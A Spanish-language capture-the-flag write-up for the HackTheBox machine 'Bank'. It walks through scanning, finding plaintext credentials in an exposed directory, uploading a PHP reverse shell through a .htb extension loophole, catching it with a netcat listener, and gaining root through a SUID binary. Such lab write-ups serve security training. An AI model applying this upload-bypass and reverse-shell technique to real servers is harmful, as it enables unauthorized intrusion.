# Bank - HackTheBox

💲En esta ocasión explotaremos una máquina Easy de HackTheBox muy pero muy sencilla, tendremos que obtener unas credenciales de acceso al servidor web y después subir una reverse shell para poder conseguir acceso al sistema. La escalada de privilegios es un auténtico regalito🎁💲!!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169637932/d89a7fb8-cb10-4f98-9877-bfd305db5128.png align="center")

[![HTBadge](https://www.hackthebox.eu/badge/image/533771 align="left")](https://www.hackthebox.com/home/users/profile/533771)

---

# Reconocimiento

# **Reconocimiento de Puertos📌**

```bash
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
53/tcp open  domain  syn-ack
80/tcp open  http    syn-ack
```

Escaneamos servicios y las versiones de los mismos.

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-title: HTB Bank - Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

  
Aquí tenemos un servidor web en el puerto 80 (http), el puerto 53 (DNS) y el puerto 22 (ssh).

  
Añadimos al archivo host la ip y el dominio bank.htb.

  
Procedo a enumerar el servidor web.

---

## **Enumeración Web📌**

Encontramos un login para acceder pero no tenemos credenciales, así que me pongo a enumerar rutas en el servidor para ver que tenemos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169723732/228b3968-660e-4574-9ba3-62cfe830e52e.png align="center")

Para enumerar las rutas uso gobuster.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169731227/c64e8644-2640-4b77-8ca5-3c9df8dfd5c4.png align="center")

Encuentro la ruta balance-transfer y dentro de ella una lista bastante grande con archivos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169737358/b65f6584-4a74-487b-a196-22d857f63b4f.png align="center")

Abro uno de ellos aleatoriamente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169747517/fd9ca4cc-92dc-495e-862f-41e66a4f1dbc.png align="center")

Parece que la data está encriptada, pero tras probar y probar y no consigo desencriptarla.

  
Sigo buscando en la lista de archivos y me fijo en el tamaño de cada uno, suelen rondar entre los 582 y 585 el tamaño de los archivos, así que buscando encuentro uno de ellos que tiene de tamaño 257.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169760193/b9cc604e-149f-4773-a6d5-f47fa7196722.png align="center")

Al abrirlo encuentro unas credenciales en texto plano.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169767906/b9a68220-6aac-4635-aeed-c2105bafff39.png align="center")

Usaré las credenciales para iniciar sesión en el panel web.

  
Una vez dentro encontramos un panel con todas las transacciones y datos bancarios.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169774478/3080b0bf-121e-486c-9e74-3e863fcca5d5.png align="center")

---

# Explotación

## Reverse Shell**🔥**

Navegando por la web me dirijo a **Support** y encuentro una formulario donde puedo subir un archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169806515/c868b853-2c40-4750-8614-04f1b54782c7.png align="center")

Tras ver eso creo un archivo con una reverse shell en php de la siguiente fuente:

[https://pentestmonkey.net/tools/web-shells/php-reverse-shell](https://pentestmonkey.net/tools/web-shells/php-reverse-shell)

Edito la ip y el puerto.

  
Una vez lista la reverse shell la subo al servidor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169826226/c7f78fce-3a39-4e8e-a0f8-9aad77e59dfc.png align="center")

Pero me arroja ese error, solo se pueden subir imágenes al servidor.

  
Tras probar a editar el content-type en Burpsuite para bypassear la restricción no tengo éxito asique procedo a analizar el código del support.php donde encuentro el siguiente comentario:

> \[DEBUG\] I added the file extension .htb to execute as php for debugging purposes only \[DEBUG\]

Si cambiamos la extensión de .php a .htb podemos ejecutar los archivos php.

Subimos el archivo y listo:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169852812/db346cee-6f1a-4e0a-99da-818f7fdfca9f.png align="center")

Ahora nos abrimos un listener netcat en el puerto configurado en la rev shell`   `

`nc -lnvp 1234`

Ejecutamos el archivo desde el panel web y tenemos la conexión inversa.

```bash
❯ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.29] 48610
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 00:27:22 up  1:08,  0 users,  load average: 0.00, 0.00, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

Una vez dentro ya podemos leer el user.txt

  
Ahora toca escalar privilegios

---

# Escalada de Privilegios

## **Emergency🚑**

Busco ***binarios SUID*** de propietarios root con el comando **find**.

```bash
www-data@bank:/home/chris$ find / -type f -user root -perm -4000 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount
```

Tenemos el binario **emergency.**

  
Así que pruebo a ejecutarlo para ver que sucede o que he de hacer...

```bash
www-data@bank:/home/chris$ /var/htb/bin/emergency
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami 
root
```

Lo ejecuto y para mi sorpresa ya soy **root**!!!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724169926102/e3645a4d-d5d3-401b-9b5a-f3dccea9ca2b.gif align="center")
